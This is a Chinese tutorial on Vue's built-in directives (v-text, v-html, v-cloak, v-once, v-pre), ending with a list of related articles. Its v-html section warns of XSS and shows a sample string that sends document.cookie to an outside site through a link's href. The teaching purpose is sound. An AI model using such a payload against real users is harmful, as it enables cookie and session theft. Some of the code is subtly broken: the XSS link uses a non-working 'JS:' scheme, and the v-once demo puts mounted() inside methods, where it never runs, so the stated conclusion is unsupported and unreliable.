【Vue】内置指令真的很常用!

简介: 【Vue】内置指令真的很常用!

内置指令

  • v-text用于将一个变量的值渲染为元素的文本内容
  • 注意v-text只能接受字符串类型的值,对于对象类型,会调用toString()方法
  • 与插值表达式区别就是它会替换标签中的值,只显示它绑定的(还是插值语法用的多~)

语法

<元素 v-text="变量名"></元素>


举例

<div id="app">
  <p v-text="message">我不会显示,这些内容会被替换</p>
</div>

<script>
var app = new Vue({
  el: '#app',
  data: {
    message: 'Hello Vue!'
  }
});
</script>

这里v-text将message变量值直接作为p元素的内容文本插入

最终显示Hello Vue!

v-html

  • v-html 会解析 HTML 标签,而v-text不会解析
  • v-html 可以渲染 HTML,但有安全风险,容易导致 XSS 攻击,在可控环境下使用


可以利用各种手段获取我们的cookie,获取我们的信息,进行免登录等等

<div v-html="str"></div>
data:{
// 部分网站设置了httpOnly,httpOnly限制的用document.cookie读取不了
      str:'<a href=JS:location.href="http://www.baidu.com?"+document.cookie>快点我,10w+等我们来</a>',
    }

v-cloak

关键点

  • 通过 CSS 隐藏未编译的内容
  • 在编译结束后自动删除,恢复元素的显示

不知道我们有没有考虑过一个问题,


插值语法也叫做Mustache语法,下面要是说到Mustache语法,要知道它就是插值语法,也就是两个大括号{{}}


假设写一些代码


核心代码如下:


<h1>{{message}}</h1>


data: { message: '即兴小索奇'}


现在有一个需求,页面需要过一会再解析vue,此时VM不会解析页面显示data中数据,会显示如下内容,

过一会才显示页面

v-cloak用于隐藏未编译的 Mustache 语法,也就是说在 Vue 实例初始化渲染之前,会先隐藏带有 v-cloak 的元素(coak :n.斗篷、遮盖物、v.遮盖的意思)

v-cloak 的使用方式:

// 在样式里面定义
[v-cloak] {
  display: none; 
}

在带有未编译 Mustache 语法的元素上加上 v-cloak 属性:

<div v-cloak>
  {{ message }}
</div>
  • 在 Vue 初始化之前,只要含有v-cloak的,这个元素都会隐藏起来
  • 当 Vue 实例初始化完成,编译结束后,会自动删除 v-cloak 属性,display也就不会限制含有v-cloak的标签了,这样元素就会显示出来


它主要用于解决初始化页面时 Mustache 语法 {{ }} 闪烁的问题正常情况下用户会先看到未编译的 Mustache 标签,然后 Vue 编译完后会替换成实际内容,这个过程会让页面闪烁


再举一个简单例子,我们现在用的2G网,网速有一点点慢,自然解析就会慢下来,就会出现上面的闪烁情况


使用 v-cloak 可以避免这个问题,它会先隐藏未编译的内容,等 Vue 初始化结束后再显示出来,这样就可以避免闪烁啦

v-once

使用 v-once 的元素或组件在初始化后,会被视为静态内容,之后数据改变时不会引起它们重新渲染

主要的使用场景有:

  • 优化性能:如果元素包含大量静态内容,很少更新,可以使用 v-once 进行优化,避免不必要的重渲染开销
  • 避免意外数据变更:在不能更改的静态元素上使用 v-once,也会避免数据在其他地方被更改时,导致它们也跟着不必要的更新
<!-- 元素 -->  
<div v-once>静态内容</div>

注意:

  • v-once是灭有值的哈
  • v-for 指令优先级比 v-once 高,v-once 不会影响 v-for 的正常工作
  • 如果根元素上使用了 v-once,那么整个组件都会成为静态的

针对根元素使用v-once这里小索奇用简单的代码列举一下

<div id="app">

  <div v-once>
  
    <h1>{{title}}</h1>
  
  </div>

</div>

<script>

var app = new Vue({

  el: '#app',

  data: {
    title: 'Hello Java'
  },

  methods: {
  // 不懂mounted钩子函数的话,这里简单理解为不用调用自动执行的就行
    mounted() {
      setTimeout(() => {
        this.title = 'Hello Vue'
      }, 1000)
    }
  }

})

</script>


主要就是实现了

页面等了一百年之后它还是Hello Java,都没有变成Hello Vue!


说明啥?v-once页面不渲染->没有执行this.title = 'Hello Vue' ->根节点的v-once奏效

当元素是静态的,确实不需要元素再次更新时可以用到这个v-once

v-pre

v-pre是一个Vue指令,它的作用是跳过元素的编译过程,直接输出原始内容,精髓就是这几个字

作用


  • 跳过元素和它的子元素的编译过程,效率会更高一点点
  • 显示原始 Mustache 标签
  • 避免模板被错误解析

示例

<div v-pre>
  今天气温是{{ temperature }} 
</div>


渲染结果:

今天气温是{{ temperature }}


Mustache 语法被直接输出,没有被 Vue 编译

使用场景

  • 需要显示 Mustache 标签本身
  • 避免模板被错误解析成 Vue 语法

v-pre 它跳过元素的编译过程,直接输出原始内容,只有在特殊需要显示原始 Mustache 时才使用它

它的主要作用就是为了避免错误解析模板

举个栗子

加上v-pre


删除v-pre

就会解析Mustache语法了

大白话:我们写啥样子,它就显示啥样子


相关文章
|
3天前
|
缓存 监控 JavaScript
探讨优化Vue应用性能和加载速度的策略
【5月更文挑战第17天】本文探讨了优化Vue应用性能和加载速度的策略:1) 精简代码和组件拆分以减少冗余;2) 使用计算属性和侦听器、懒加载、预加载和预获取优化路由;3) 数据懒加载和防抖节流处理高频事件;4) 图片压缩和选择合适格式,使用CDN加速资源加载;5) 利用浏览器缓存和组件缓存提高效率;6) 使用Vue Devtools和性能分析工具监控及调试。通过这些方法,可提升用户在复杂应用中的体验。
10 0
|
4天前
|
JavaScript 前端开发
vue(1),小白看完都会了
vue(1),小白看完都会了
|
3天前
|
JavaScript 开发工具 git
Vue 入门系列:.env 环境变量
Vue 入门系列:.env 环境变量
10 1
|
3天前
|
JavaScript
vue知识点
vue知识点
11 0
|
4天前
|
JavaScript 前端开发 定位技术
Vue使用地图以及实现轨迹回放 附完整代码
Vue使用地图以及实现轨迹回放 附完整代码
Vue使用地图以及实现轨迹回放 附完整代码
|
4天前
|
JavaScript
Vue中避免滥用this去读取data中数据
Vue中避免滥用this去读取data中数据
|
4天前
|
JavaScript
vue中使用pinia及持久化
vue中使用pinia及持久化
6 0
|
4天前
|
JavaScript 前端开发 UED
Vue class和style绑定:动态美化你的组件
Vue class和style绑定:动态美化你的组件
|
4天前
|
JavaScript 前端开发 API
Vue 监听器:让你的应用实时响应变化
Vue 监听器:让你的应用实时响应变化
|
4天前
|
JavaScript
vue封装svg
vue封装svg
10 0